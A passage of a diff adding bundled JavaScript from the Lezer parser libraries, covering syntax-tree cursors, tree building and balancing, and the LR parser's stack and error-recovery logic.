= this.context; + let parentStart = this._parent ? this._parent.index + 4 : 0; + if (this.index == parentStart) + return this.externalSibling(-1); + return new _BufferNode(this.context, this._parent, buffer.findChild( + parentStart, + this.index, + -1, + 0, + 4 + /* Side.DontCare */ + )); + } + get tree() { + return null; + } + toTree() { + let children = [], positions = []; + let { buffer } = this.context; + let startI = this.index + 4, endI = buffer.buffer[this.index + 3]; + if (endI > startI) { + let from = buffer.buffer[this.index + 1]; + children.push(buffer.slice(startI, endI, from)); + positions.push(0); + } + return new Tree(this.type, children, positions, this.to - this.from); + } + /** + @internal + */ + toString() { + return this.context.buffer.childString(this.index); + } +}; +function iterStack(heads) { + if (!heads.length) + return null; + if (heads.length == 1) + return heads[0]; + let pick = 0, picked = heads[0]; + for (let i = 1; i < heads.length; i++) { + let node = heads[i]; + if (node.from > picked.from || node.to < picked.to) { + picked = node; + pick = i; + } + } + let next = picked instanceof TreeNode && picked.index < 0 ? null : picked.parent; + let newHeads = heads.slice(); + if (next) + newHeads[pick] = next; + else + newHeads.splice(pick, 1); + return new StackIterator(newHeads, picked); +} +var StackIterator = class { + constructor(heads, node) { + this.heads = heads; + this.node = node; + } + get next() { + return iterStack(this.heads); + } +}; +function stackIterator(tree, pos, side) { + let inner = tree.resolveInner(pos, side), layers = null; + for (let scan = inner instanceof TreeNode ? inner : inner.context.parent; scan; scan = scan.parent) { + if (scan.index < 0) { + let parent = scan.parent; + (layers || (layers = [inner])).push(parent.resolve(pos, side)); + scan = parent; + } else { + let mount = MountedTree.get(scan.tree); + if (mount && mount.overlay && mount.overlay[0].from <= pos && mount.overlay[mount.overlay.length - 1].to >= pos) { + let root = new TreeNode(mount.tree, mount.overlay[0].from + scan.from, 0, null); + (layers || (layers = [inner])).push(resolveNode(root, pos, side, false)); + } + } + } + return layers ? iterStack(layers) : inner; +} +var TreeCursor = class { + /** + Shorthand for `.type.name`. + */ + get name() { + return this.type.name; + } + /** + @internal + */ + constructor(node, mode = 0) { + this.mode = mode; + this.buffer = null; + this.stack = []; + this.index = 0; + this.bufferNode = null; + if (node instanceof TreeNode) { + this.yieldNode(node); + } else { + this._tree = node.context.parent; + this.buffer = node.context; + for (let n = node._parent; n; n = n._parent) + this.stack.unshift(n.index); + this.bufferNode = node; + this.yieldBuf(node.index); + } + } + yieldNode(node) { + if (!node) + return false; + this._tree = node; + this.type = node.type; + this.from = node.from; + this.to = node.to; + return true; + } + yieldBuf(index, type) { + this.index = index; + let { start: start2, buffer } = this.buffer; + this.type = type || buffer.set.types[buffer.buffer[index]]; + this.from = start2 + buffer.buffer[index + 1]; + this.to = start2 + buffer.buffer[index + 2]; + return true; + } + yield(node) { + if (!node) + return false; + if (node instanceof TreeNode) { + this.buffer = null; + return this.yieldNode(node); + } + this.buffer = node.context; + return this.yieldBuf(node.index, node.type); + } + /** + @internal + */ + toString() { + return this.buffer ? this.buffer.buffer.childString(this.index) : this._tree.toString(); + } + /** + @internal + */ + enterChild(dir, pos, side) { + if (!this.buffer) + return this.yield(this._tree.nextChild(dir < 0 ? this._tree._tree.children.length - 1 : 0, dir, pos, side, this.mode)); + let { buffer } = this.buffer; + let index = buffer.findChild(this.index + 4, buffer.buffer[this.index + 3], dir, pos - this.buffer.start, side); + if (index < 0) + return false; + this.stack.push(this.index); + return this.yieldBuf(index); + } + /** + Move the cursor to this node's first child. When this returns + false, the node has no child, and the cursor has not been moved. + */ + firstChild() { + return this.enterChild( + 1, + 0, + 4 + /* Side.DontCare */ + ); + } + /** + Move the cursor to this node's last child. + */ + lastChild() { + return this.enterChild( + -1, + 0, + 4 + /* Side.DontCare */ + ); + } + /** + Move the cursor to the first child that ends after `pos`. + */ + childAfter(pos) { + return this.enterChild( + 1, + pos, + 2 + /* Side.After */ + ); + } + /** + Move to the last child that starts before `pos`. + */ + childBefore(pos) { + return this.enterChild( + -1, + pos, + -2 + /* Side.Before */ + ); + } + /** + Move the cursor to the child around `pos`. If side is -1 the + child may end at that position, when 1 it may start there. This + will also enter [overlaid](#common.MountedTree.overlay) + [mounted](#common.NodeProp^mounted) trees unless `overlays` is + set to false. + */ + enter(pos, side, mode = this.mode) { + if (!this.buffer) + return this.yield(this._tree.enter(pos, side, mode)); + return mode & IterMode.ExcludeBuffers ? false : this.enterChild(1, pos, side); + } + /** + Move to the node's parent node, if this isn't the top node. + */ + parent() { + if (!this.buffer) + return this.yieldNode(this.mode & IterMode.IncludeAnonymous ? this._tree._parent : this._tree.parent); + if (this.stack.length) + return this.yieldBuf(this.stack.pop()); + let parent = this.mode & IterMode.IncludeAnonymous ? this.buffer.parent : this.buffer.parent.nextSignificantParent(); + this.buffer = null; + return this.yieldNode(parent); + } + /** + @internal + */ + sibling(dir) { + if (!this.buffer) + return !this._tree._parent ? false : this.yield(this._tree.index < 0 ? null : this._tree._parent.nextChild(this._tree.index + dir, dir, 0, 4, this.mode)); + let { buffer } = this.buffer, d = this.stack.length - 1; + if (dir < 0) { + let parentStart = d < 0 ? 0 : this.stack[d] + 4; + if (this.index != parentStart) + return this.yieldBuf(buffer.findChild( + parentStart, + this.index, + -1, + 0, + 4 + /* Side.DontCare */ + )); + } else { + let after = buffer.buffer[this.index + 3]; + if (after < (d < 0 ? buffer.buffer.length : buffer.buffer[this.stack[d] + 3])) + return this.yieldBuf(after); + } + return d < 0 ? this.yield(this.buffer.parent.nextChild(this.buffer.index + dir, dir, 0, 4, this.mode)) : false; + } + /** + Move to this node's next sibling, if any. + */ + nextSibling() { + return this.sibling(1); + } + /** + Move to this node's previous sibling, if any. + */ + prevSibling() { + return this.sibling(-1); + } + atLastNode(dir) { + let index, parent, { buffer } = this; + if (buffer) { + if (dir > 0) { + if (this.index < buffer.buffer.buffer.length) + return false; + } else { + for (let i = 0; i < this.index; i++) + if (buffer.buffer.buffer[i + 3] < this.index) + return false; + } + ({ index, parent } = buffer); + } else { + ({ index, _parent: parent } = this._tree); + } + for (; parent; { index, _parent: parent } = parent) { + if (index > -1) + for (let i = index + dir, e = dir < 0 ? -1 : parent._tree.children.length; i != e; i += dir) { + let child = parent._tree.children[i]; + if (this.mode & IterMode.IncludeAnonymous || child instanceof TreeBuffer || !child.type.isAnonymous || hasChild(child)) + return false; + } + } + return true; + } + move(dir, enter) { + if (enter && this.enterChild( + dir, + 0, + 4 + /* Side.DontCare */ + )) + return true; + for (; ; ) { + if (this.sibling(dir)) + return true; + if (this.atLastNode(dir) || !this.parent()) + return false; + } + } + /** + Move to the next node in a + [pre-order](https://en.wikipedia.org/wiki/Tree_traversal#Pre-order,_NLR) + traversal, going from a node to its first child or, if the + current node is empty or `enter` is false, its next sibling or + the next sibling of the first parent node that has one. + */ + next(enter = true) { + return this.move(1, enter); + } + /** + Move to the next node in a last-to-first pre-order traveral. A + node is followed by its last child or, if it has none, its + previous sibling or the previous sibling of the first parent + node that has one. + */ + prev(enter = true) { + return this.move(-1, enter); + } + /** + Move the cursor to the innermost node that covers `pos`. If + `side` is -1, it will enter nodes that end at `pos`. If it is 1, + it will enter nodes that start at `pos`. + */ + moveTo(pos, side = 0) { + while (this.from == this.to || (side < 1 ? this.from >= pos : this.from > pos) || (side > -1 ? this.to <= pos : this.to < pos)) + if (!this.parent()) + break; + while (this.enterChild(1, pos, side)) { + } + return this; + } + /** + Get a [syntax node](#common.SyntaxNode) at the cursor's current + position. + */ + get node() { + if (!this.buffer) + return this._tree; + let cache2 = this.bufferNode, result = null, depth = 0; + if (cache2 && cache2.context == this.buffer) { + scan: + for (let index = this.index, d = this.stack.length; d >= 0; ) { + for (let c = cache2; c; c = c._parent) + if (c.index == index) { + if (index == this.index) + return c; + result = c; + depth = d + 1; + break scan; + } + index = this.stack[--d]; + } + } + for (let i = depth; i < this.stack.length; i++) + result = new BufferNode(this.buffer, result, this.stack[i]); + return this.bufferNode = new BufferNode(this.buffer, result, this.index); + } + /** + Get the [tree](#common.Tree) that represents the current node, if + any. Will return null when the node is in a [tree + buffer](#common.TreeBuffer). + */ + get tree() { + return this.buffer ? null : this._tree._tree; + } + /** + Iterate over the current node and all its descendants, calling + `enter` when entering a node and `leave`, if given, when leaving + one. When `enter` returns `false`, any children of that node are + skipped, and `leave` isn't called for it. + */ + iterate(enter, leave) { + for (let depth = 0; ; ) { + let mustLeave = false; + if (this.type.isAnonymous || enter(this) !== false) { + if (this.firstChild()) { + depth++; + continue; + } + if (!this.type.isAnonymous) + mustLeave = true; + } + for (; ; ) { + if (mustLeave && leave) + leave(this); + mustLeave = this.type.isAnonymous; + if (this.nextSibling()) + break; + if (!depth) + return; + this.parent(); + depth--; + mustLeave = true; + } + } + } + /** + Test whether the current node matches a given context—a sequence + of direct parent node names. Empty strings in the context array + are treated as wildcards. + */ + matchContext(context) { + if (!this.buffer) + return matchNodeContext(this.node, context); + let { buffer } = this.buffer, { types } = buffer.set; + for (let i = context.length - 1, d = this.stack.length - 1; i >= 0; d--) { + if (d < 0) + return matchNodeContext(this.node, context, i); + let type = types[buffer.buffer[this.stack[d]]]; + if (!type.isAnonymous) { + if (context[i] && context[i] != type.name) + return false; + i--; + } + } + return true; + } +}; +function hasChild(tree) { + return tree.children.some((ch) => ch instanceof TreeBuffer || !ch.type.isAnonymous || hasChild(ch)); +} +function buildTree(data) { + var _a; + let { buffer, nodeSet, maxBufferLength = DefaultBufferLength, reused = [], minRepeatType = nodeSet.types.length } = data; + let cursor = Array.isArray(buffer) ? new FlatBufferCursor(buffer, buffer.length) : buffer; + let types = nodeSet.types; + let contextHash = 0, lookAhead = 0; + function takeNode(parentStart, minPos, children2, positions2, inRepeat) { + let { id: id2, start: start2, end: end2, size } = cursor; + let lookAheadAtStart = lookAhead; + while (size < 0) { + cursor.next(); + if (size == -1) { + let node2 = reused[id2]; + children2.push(node2); + positions2.push(start2 - parentStart); + return; + } else if (size == -3) { + contextHash = id2; + return; + } else if (size == -4) { + lookAhead = id2; + return; + } else { + throw new RangeError(`Unrecognized record size: ${size}`); + } + } + let type = types[id2], node, buffer2; + let startPos = start2 - parentStart; + if (end2 - start2 <= maxBufferLength && (buffer2 = findBufferSize(cursor.pos - minPos, inRepeat))) { + let data2 = new Uint16Array(buffer2.size - buffer2.skip); + let endPos = cursor.pos - buffer2.size, index = data2.length; + while (cursor.pos > endPos) + index = copyToBuffer(buffer2.start, data2, index); + node = new TreeBuffer(data2, end2 - buffer2.start, nodeSet); + startPos = buffer2.start - parentStart; + } else { + let endPos = cursor.pos - size; + cursor.next(); + let localChildren = [], localPositions = []; + let localInRepeat = id2 >= minRepeatType ? id2 : -1; + let lastGroup = 0, lastEnd = end2; + while (cursor.pos > endPos) { + if (localInRepeat >= 0 && cursor.id == localInRepeat && cursor.size >= 0) { + if (cursor.end <= lastEnd - maxBufferLength) { + makeRepeatLeaf(localChildren, localPositions, start2, lastGroup, cursor.end, lastEnd, localInRepeat, lookAheadAtStart); + lastGroup = localChildren.length; + lastEnd = cursor.end; + } + cursor.next(); + } else { + takeNode(start2, endPos, localChildren, localPositions, localInRepeat); + } + } + if (localInRepeat >= 0 && lastGroup > 0 && lastGroup < localChildren.length) + makeRepeatLeaf(localChildren, localPositions, start2, lastGroup, start2, lastEnd, localInRepeat, lookAheadAtStart); + localChildren.reverse(); + localPositions.reverse(); + if (localInRepeat > -1 && lastGroup > 0) { + let make = makeBalanced(type); + node = balanceRange(type, localChildren, localPositions, 0, localChildren.length, 0, end2 - start2, make, make); + } else { + node = makeTree(type, localChildren, localPositions, end2 - start2, lookAheadAtStart - end2); + } + } + children2.push(node); + positions2.push(startPos); + } + function makeBalanced(type) { + return (children2, positions2, length2) => { + let lookAhead2 = 0, lastI = children2.length - 1, last, lookAheadProp; + if (lastI >= 0 && (last = children2[lastI]) instanceof Tree) { + if (!lastI && last.type == type && last.length == length2) + return last; + if (lookAheadProp = last.prop(NodeProp.lookAhead)) + lookAhead2 = positions2[lastI] + last.length + lookAheadProp; + } + return makeTree(type, children2, positions2, length2, lookAhead2); + }; + } + function makeRepeatLeaf(children2, positions2, base, i, from, to, type, lookAhead2) { + let localChildren = [], localPositions = []; + while (children2.length > i) { + localChildren.push(children2.pop()); + localPositions.push(positions2.pop() + base - from); + } + children2.push(makeTree(nodeSet.types[type], localChildren, localPositions, to - from, lookAhead2 - to)); + positions2.push(from - base); + } + function makeTree(type, children2, positions2, length2, lookAhead2 = 0, props) { + if (contextHash) { + let pair2 = [NodeProp.contextHash, contextHash]; + props = props ? [pair2].concat(props) : [pair2]; + } + if (lookAhead2 > 25) { + let pair2 = [NodeProp.lookAhead, lookAhead2]; + props = props ? [pair2].concat(props) : [pair2]; + } + return new Tree(type, children2, positions2, length2, props); + } + function findBufferSize(maxSize, inRepeat) { + let fork = cursor.fork(); + let size = 0, start2 = 0, skip = 0, minStart = fork.end - maxBufferLength; + let result = { size: 0, start: 0, skip: 0 }; + scan: + for (let minPos = fork.pos - maxSize; fork.pos > minPos; ) { + let nodeSize2 = fork.size; + if (fork.id == inRepeat && nodeSize2 >= 0) { + result.size = size; + result.start = start2; + result.skip = skip; + skip += 4; + size += 4; + fork.next(); + continue; + } + let startPos = fork.pos - nodeSize2; + if (nodeSize2 < 0 || startPos < minPos || fork.start < minStart) + break; + let localSkipped = fork.id >= minRepeatType ? 4 : 0; + let nodeStart = fork.start; + fork.next(); + while (fork.pos > startPos) { + if (fork.size < 0) { + if (fork.size == -3) + localSkipped += 4; + else + break scan; + } else if (fork.id >= minRepeatType) { + localSkipped += 4; + } + fork.next(); + } + start2 = nodeStart; + size += nodeSize2; + skip += localSkipped; + } + if (inRepeat < 0 || size == maxSize) { + result.size = size; + result.start = start2; + result.skip = skip; + } + return result.size > 4 ? result : void 0; + } + function copyToBuffer(bufferStart, buffer2, index) { + let { id: id2, start: start2, end: end2, size } = cursor; + cursor.next(); + if (size >= 0 && id2 < minRepeatType) { + let startIndex = index; + if (size > 4) { + let endPos = cursor.pos - (size - 4); + while (cursor.pos > endPos) + index = copyToBuffer(bufferStart, buffer2, index); + } + buffer2[--index] = startIndex; + buffer2[--index] = end2 - bufferStart; + buffer2[--index] = start2 - bufferStart; + buffer2[--index] = id2; + } else if (size == -3) { + contextHash = id2; + } else if (size == -4) { + lookAhead = id2; + } + return index; + } + let children = [], positions = []; + while (cursor.pos > 0) + takeNode(data.start || 0, data.bufferStart || 0, children, positions, -1); + let length = (_a = data.length) !== null && _a !== void 0 ? _a : children.length ? positions[0] + children[0].length : 0; + return new Tree(types[data.topID], children.reverse(), positions.reverse(), length); +} +var nodeSizeCache = /* @__PURE__ */ new WeakMap(); +function nodeSize(balanceType, node) { + if (!balanceType.isAnonymous || node instanceof TreeBuffer || node.type != balanceType) + return 1; + let size = nodeSizeCache.get(node); + if (size == null) { + size = 1; + for (let child of node.children) { + if (child.type != balanceType || !(child instanceof Tree)) { + size = 1; + break; + } + size += nodeSize(balanceType, child); + } + nodeSizeCache.set(node, size); + } + return size; +} +function balanceRange(balanceType, children, positions, from, to, start2, length, mkTop, mkTree) { + let total = 0; + for (let i = from; i < to; i++) + total += nodeSize(balanceType, children[i]); + let maxChild = Math.ceil( + total * 1.5 / 8 + /* Balance.BranchFactor */ + ); + let localChildren = [], localPositions = []; + function divide(children2, positions2, from2, to2, offset2) { + for (let i = from2; i < to2; ) { + let groupFrom = i, groupStart = positions2[i], groupSize = nodeSize(balanceType, children2[i]); + i++; + for (; i < to2; i++) { + let nextSize = nodeSize(balanceType, children2[i]); + if (groupSize + nextSize >= maxChild) + break; + groupSize += nextSize; + } + if (i == groupFrom + 1) { + if (groupSize > maxChild) { + let only = children2[groupFrom]; + divide(only.children, only.positions, 0, only.children.length, positions2[groupFrom] + offset2); + continue; + } + localChildren.push(children2[groupFrom]); + } else { + let length2 = positions2[i - 1] + children2[i - 1].length - groupStart; + localChildren.push(balanceRange(balanceType, children2, positions2, groupFrom, i, groupStart, length2, null, mkTree)); + } + localPositions.push(groupStart + offset2 - start2); + } + } + divide(children, positions, from, to, 0); + return (mkTop || mkTree)(localChildren, localPositions, length); +} +var NodeWeakMap = class { + constructor() { + this.map = /* @__PURE__ */ new WeakMap(); + } + setBuffer(buffer, index, value) { + let inner = this.map.get(buffer); + if (!inner) + this.map.set(buffer, inner = /* @__PURE__ */ new Map()); + inner.set(index, value); + } + getBuffer(buffer, index) { + let inner = this.map.get(buffer); + return inner && inner.get(index); + } + /** + Set the value for this syntax node. + */ + set(node, value) { + if (node instanceof BufferNode) + this.setBuffer(node.context.buffer, node.index, value); + else if (node instanceof TreeNode) + this.map.set(node.tree, value); + } + /** + Retrieve value for this syntax node, if it exists in the map. + */ + get(node) { + return node instanceof BufferNode ? this.getBuffer(node.context.buffer, node.index) : node instanceof TreeNode ? this.map.get(node.tree) : void 0; + } + /** + Set the value for the node that a cursor currently points to. + */ + cursorSet(cursor, value) { + if (cursor.buffer) + this.setBuffer(cursor.buffer.buffer, cursor.index, value); + else + this.map.set(cursor.tree, value); + } + /** + Retrieve the value for the node that a cursor currently points + to. + */ + cursorGet(cursor) { + return cursor.buffer ? this.getBuffer(cursor.buffer.buffer, cursor.index) : this.map.get(cursor.tree); + } +}; +var Parser = class { + /** + Start a parse, returning a [partial parse](#common.PartialParse) + object. [`fragments`](#common.TreeFragment) can be passed in to + make the parse incremental. + + By default, the entire input is parsed. You can pass `ranges`, + which should be a sorted array of non-empty, non-overlapping + ranges, to parse only those ranges. The tree returned in that + case will start at `ranges[0].from`. + */ + startParse(input, fragments, ranges) { + if (typeof input == "string") + input = new StringInput(input); + ranges = !ranges ? [new Range(0, input.length)] : ranges.length ? ranges.map((r) => new Range(r.from, r.to)) : [new Range(0, 0)]; + return this.createParse(input, fragments || [], ranges); + } + /** + Run a full parse, returning the resulting tree. + */ + parse(input, fragments, ranges) { + let parse2 = this.startParse(input, fragments, ranges); + for (; ; ) { + let done = parse2.advance(); + if (done) + return done; + } + } +}; +var StringInput = class { + constructor(string2) { + this.string = string2; + } + get length() { + return this.string.length; + } + chunk(from) { + return this.string.slice(from); + } + get lineChunks() { + return false; + } + read(from, to) { + return this.string.slice(from, to); + } +}; +var stoppedInner = new NodeProp({ perNode: true }); + +// node_modules/@lezer/lr/dist/index.js +var Stack = class _Stack { + /// @internal + constructor(p, stack, state, reducePos, pos, score, buffer, bufferBase, curContext, lookAhead = 0, parent) { + this.p = p; + this.stack = stack; + this.state = state; + this.reducePos = reducePos; + this.pos = pos; + this.score = score; + this.buffer = buffer; + this.bufferBase = bufferBase; + this.curContext = curContext; + this.lookAhead = lookAhead; + this.parent = parent; + } + /// @internal + toString() { + return `[${this.stack.filter((_, i) => i % 3 == 0).concat(this.state)}]@${this.pos}${this.score ? "!" + this.score : ""}`; + } + // Start an empty stack + /// @internal + static start(p, state, pos = 0) { + let cx = p.parser.context; + return new _Stack(p, [], state, pos, pos, 0, [], 0, cx ? new StackContext(cx, cx.start) : null, 0, null); + } + /// The stack's current [context](#lr.ContextTracker) value, if + /// any. Its type will depend on the context tracker's type + /// parameter, or it will be `null` if there is no context + /// tracker. + get context() { + return this.curContext ? this.curContext.context : null; + } + // Push a state onto the stack, tracking its start position as well + // as the buffer base at that point. + /// @internal + pushState(state, start2) { + this.stack.push(this.state, start2, this.bufferBase + this.buffer.length); + this.state = state; + } + // Apply a reduce action + /// @internal + reduce(action) { + let depth = action >> 19, type = action & 65535; + let { parser: parser2 } = this.p; + let dPrec = parser2.dynamicPrecedence(type); + if (dPrec) + this.score += dPrec; + if (depth == 0) { + this.pushState(parser2.getGoto(this.state, type, true), this.reducePos); + if (type < parser2.minRepeatTerm) + this.storeNode(type, this.reducePos, this.reducePos, 4, true); + this.reduceContext(type, this.reducePos); + return; + } + let base = this.stack.length - (depth - 1) * 3 - (action & 262144 ? 6 : 0); + let start2 = this.stack[base - 2]; + let bufferBase = this.stack[base - 1], count = this.bufferBase + this.buffer.length - bufferBase; + if (type < parser2.minRepeatTerm || action & 131072) { + let pos = parser2.stateFlag( + this.state, + 1 + /* Skipped */ + ) ? this.pos : this.reducePos; + this.storeNode(type, start2, pos, count + 4, true); + } + if (action & 262144) { + this.state = this.stack[base]; + } else { + let baseStateID = this.stack[base - 3]; + this.state = parser2.getGoto(baseStateID, type, true); + } + while (this.stack.length > base) + this.stack.pop(); + this.reduceContext(type, start2); + } + // Shift a value into the buffer + /// @internal + storeNode(term, start2, end2, size = 4, isReduce = false) { + if (term == 0 && (!this.stack.length || this.stack[this.stack.length - 1] < this.buffer.length + this.bufferBase)) { + let cur = this, top2 = this.buffer.length; + if (top2 == 0 && cur.parent) { + top2 = cur.bufferBase - cur.parent.bufferBase; + cur = cur.parent; + } + if (top2 > 0 && cur.buffer[top2 - 4] == 0 && cur.buffer[top2 - 1] > -1) { + if (start2 == end2) + return; + if (cur.buffer[top2 - 2] >= start2) { + cur.buffer[top2 - 2] = end2; + return; + } + } + } + if (!isReduce || this.pos == end2) { + this.buffer.push(term, start2, end2, size); + } else { + let index = this.buffer.length; + if (index > 0 && this.buffer[index - 4] != 0) + while (index > 0 && this.buffer[index - 2] > end2) { + this.buffer[index] = this.buffer[index - 4]; + this.buffer[index + 1] = this.buffer[index - 3]; + this.buffer[index + 2] = this.buffer[index - 2]; + this.buffer[index + 3] = this.buffer[index - 1]; + index -= 4; + if (size > 4) + size -= 4; + } + this.buffer[index] = term; + this.buffer[index + 1] = start2; + this.buffer[index + 2] = end2; + this.buffer[index + 3] = size; + } + } + // Apply a shift action + /// @internal + shift(action, next, nextEnd) { + let start2 = this.pos; + if (action & 131072) { + this.pushState(action & 65535, this.pos); + } else if ((action & 262144) == 0) { + let nextState = action, { parser: parser2 } = this.p; + if (nextEnd > this.pos || next <= parser2.maxNode) { + this.pos = nextEnd; + if (!parser2.stateFlag( + nextState, + 1 + /* Skipped */ + )) + this.reducePos = nextEnd; + } + this.pushState(nextState, start2); + this.shiftContext(next, start2); + if (next <= parser2.maxNode) + this.buffer.push(next, start2, nextEnd, 4); + } else { + this.pos = nextEnd; + this.shiftContext(next, start2); + if (next <= this.p.parser.maxNode) + this.buffer.push(next, start2, nextEnd, 4); + } + } + // Apply an action + /// @internal + apply(action, next, nextEnd) { + if (action & 65536) + this.reduce(action); + else + this.shift(action, next, nextEnd); + } + // Add a prebuilt (reused) node into the buffer. + /// @internal + useNode(value, next) { + let index = this.p.reused.length - 1; + if (index < 0 || this.p.reused[index] != value) { + this.p.reused.push(value); + index++; + } + let start2 = this.pos; + this.reducePos = this.pos = start2 + value.length; + this.pushState(next, start2); + this.buffer.push( + index, + start2, + this.reducePos, + -1 + /* size == -1 means this is a reused value */ + ); + if (this.curContext) + this.updateContext(this.curContext.tracker.reuse(this.curContext.context, value, this, this.p.stream.reset(this.pos - value.length))); + } + // Split the stack. Due to the buffer sharing and the fact + // that `this.stack` tends to stay quite shallow, this isn't very + // expensive. + /// @internal + split() { + let parent = this; + let off = parent.buffer.length; + while (off > 0 && parent.buffer[off - 2] > parent.reducePos) + off -= 4; + let buffer = parent.buffer.slice(off), base = parent.bufferBase + off; + while (parent && base == parent.bufferBase) + parent = parent.parent; + return new _Stack(this.p, this.stack.slice(), this.state, this.reducePos, this.pos, this.score, buffer, base, this.curContext, this.lookAhead, parent); + } + // Try to recover from an error by 'deleting' (ignoring) one token. + /// @internal + recoverByDelete(next, nextEnd) { + let isNode = next <= this.p.parser.maxNode; + if (isNode) + this.storeNode(next, this.pos, nextEnd, 4); + this.storeNode(0, this.pos, nextEnd, isNode ? 8 : 4); + this.pos = this.reducePos = nextEnd; + this.score -= 190; + } + /// Check if the given term would be able to be shifted (optionally + /// after some reductions) on this stack. This can be useful for + /// external tokenizers that want to make sure they only provide a + /// given token when it applies. + canShift(term) { + for (let sim = new SimulatedStack(this); ; ) { + let action = this.p.parser.stateSlot( + sim.state, + 4 + /* DefaultReduce */ + ) || this.p.parser.hasAction(sim.state, term); + if ((action & 65536) == 0) + return true; + if (action == 0) + return false; + sim.reduce(action); + } + } + // Apply up to Recover.MaxNext recovery actions that conceptually + // inserts some missing token or rule. + /// @internal + recoverByInsert(next) { + if (this.stack.length >= 300) + return []; + let nextStates = this.p.parser.nextStates(this.state); + if (nextStates.length > 4 << 1 || this.stack.length >= 120) { + let best = []; + for (let i = 0, s; i < nextStates.length; i += 2) { + if ((s = nextStates[i + 1]) != this.state && this.p.parser.hasAction(s, next)) + best.push(nextStates[i], s); + } + if (this.stack.length < 120) + for (let i = 0; best.length < 4 << 1 && i < nextStates.length; i += 2) { + let s = nextStates[i + 1]; + if (!best.some((v, i2) => i2 & 1 && v == s)) + best.push(nextStates[i], s); + } + nextStates = best; + } + let result = []; + for (let i = 0; i < nextStates.length && result.length < 4; i += 2) { + let s = nextStates[i + 1]; + if (s == this.state) + continue; + let stack = this.split(); + stack.pushState(s, this.pos); + stack.storeNode(0, stack.pos, stack.pos, 4, true); + stack.shiftContext(nextStates[i], this.pos); + stack.score -= 200; + result.push(stack); + } + return result; + } + // Force a reduce, if possible. Return false if that can't + // be done. + /// @internal + forceReduce() { + let reduce = this.p.parser.stateSlot( + this.state, + 5 + /* ForcedReduce */ + ); + if ((reduce & 65536) == 0) + return false; + let { parser: parser2 } = this.p; + if (!parser2.validAction(this.state, reduce)) { + let depth = reduce >> 19, term = reduce & 65535; + let target = this.stack.length - depth * 3; + if (target < 0 || parser2.getGoto(this.stack[target], term, false) < 0) + return false; + this.storeNode(0, this.reducePos, this.reducePos, 4, true); + this.score -= 100; + } + this.reducePos = this.pos; + this.reduce(reduce); + return true; + } + /// @internal + forceAll() { + while (!this.p.parser.stateFlag( + this.state, + 2 + /* Accepting */ + )) { + if (!this.forceReduce()) { + this.storeNode(0, this.pos, this.pos, 4, true); + break; + } + } + return this; + } + /// Check whether this state has no further actions (assumed to be a direct descendant of the + /// top state, since any other states must be able to continue + /// somehow). @internal + get deadEnd() { + if (this.stack.length != 3) + return false; + let { parser: parser2 } = this.p; + return parser2.data[parser2.stateSlot( + this.state, + 1 + /* Actions */ + )] == 65535 && !parser2.stateSlot( + this.state, + 4 + /* DefaultReduce */ + ); + } + /// Restart the stack (put it back in its start state). Only safe + /// when this.stack.length == 3 (state is directly below the top + /// state). @internal + restart() { + this.state = this.stack[0]; + this.stack.length = 0; + } + /// @internal + sameState(other) { + if (this.state != other.state || this.stack.length != other.stack.length) + return false; + for (let i = 0; i < this.stack.length; i += 3) + if (this.stack[i] != other.stack[i]) + return false; + return true; + } + /// Get the parser used by this stack. + get parser() { + return this.p.parser; + } + /// Test whether a given dialect (by numeric ID, as exported from + /// the terms file) is enabled. + dialectEnabled(dialectID) { + return this.p.parser.dialect.flags[dialectID]; + } + shiftContext(term, start2) { + if (this.curContext) + this.updateContext(this.curContext.tracker.shift(this.curContext.context, term, this, this.p.stream.reset(start2))); + } + reduceContext(term, start2) { + if (this.curContext) + this.updateContext(this.curContext.tracker.reduce(this.curContext.context, term, this, this.p.stream.reset(start2))); + } + /// @internal + emitContext() { + let last = this.buffer.length - 1; + if (last < 0 || this.buffer[last] != -3) + this.buffer.push(this.curContext.hash, this.reducePos, this.reducePos, -3); + } + /// @internal + emitLookAhead() { + let last = this.buffer.length - 1; + if (last < 0 || this.buffer[last] != -4) + this.buffer.push(this.lookAhead, this.reducePos, this.reducePos, -4); + } + updateContext(context) { + if (context != this.curContext.context) { + let newCx = new StackContext(this.curContext.tracker, context); + if (newCx.hash != this.curContext.hash) + this.emitContext(); + this.curContext = newCx; + } + } + /// @internal + setLookAhead(lookAhead) { + if (lookAhead > this.lookAhead) { + this.emitLookAhead(); + this.lookAhead = lookAhead; + } + } + /// @internal + close() { + if (this.curContext && this.curContext.tracker.strict) + this.emitContext(); + if (this.lookAhead > 0) + this.emitLookAhead(); + } +}; +var StackContext = class { + constructor(tracker, context) { + this.tracker = tracker; + this.context = context; + this.hash = tracker.strict ? tracker.hash(context) : 0; + } +}; +var Recover; +(function(Recover2) { + Recover2[Recover2["Insert"] = 200] = "Insert"; + Recover2[Recover2["Delete"] = 190] = "Delete"; + Recover2[Recover2["Reduce"] = 100] = "Reduce"; + Recover2[Recover2["MaxNext"] = 4] = "MaxNext"; + Recover2[Recover2["MaxInsertStackDepth"] = 300] = "MaxInsertStackDepth"; + Recover2[Recover2["DampenInsertStackDepth"] = 120] = "DampenInsertStackDepth"; +})(Recover || (Recover = {})); +var SimulatedStack = class { + constructor(start2) { + this.start = start2; + this.state = start2.state; + this.stack = start2.stack; + this.base = this.stack.length; + } + reduce(action) { + let term = action & 65535, depth = action >> 19; + if (depth == 0) { + if (this.stack == this.start.stack) + this.stack = this.stack.slice(); + this.stack.push(this.state, 0, 0); + this.base += 3; + } else { + this.base -= (depth - 1) * 3; + } + let goto = this.start.p.parser.getGoto(this.stack[this.base - 3], term, true); + this.state = goto; + } +}; +var StackBufferCursor = class _StackBufferCursor { + constructor(stack, pos, index) { + this.stack = stack; + this.pos = pos; + this.index = index; + this.buffer = stack.buffer; + if (this.index == 0) + this.maybeNext(); + } + static create(stack, pos = stack.bufferBase + stack.buffer.length) { + return new _StackBufferCursor(stack, pos, pos - stack.bufferBase); + } + maybeNext() { + let next = this.stack.parent; + if (next != null) { + this.index = this.stack.bufferBase - next.bufferBase; + this.stack = next; + this.buffer = next.buffer; + } + } + get id() { + return this.buffer[this.index - 4]; + } + get start() { + return this.buffer[this.index - 3]; + } + get end() { + return this.buffer[this.index - 2]; + } + get size() { + return this.buffer[this.index - 1]; + } + next() { + this.index -= 4; + this.pos -= 4; + if (this.index == 0) + this.maybeNext(); + } + fork() { + return new _StackBufferCursor(this.stack, this.pos, this.index); + } +}; +var CachedToken = class { + constructor() { + this.start = -1; + this.value = -1; + this.end = -1; + this.extended = -1; + this.lookAhead = 0; + this.mask = 0; + this.context = 0; + } +}; +var nullToken = new CachedToken(); +var InputStream = class { + 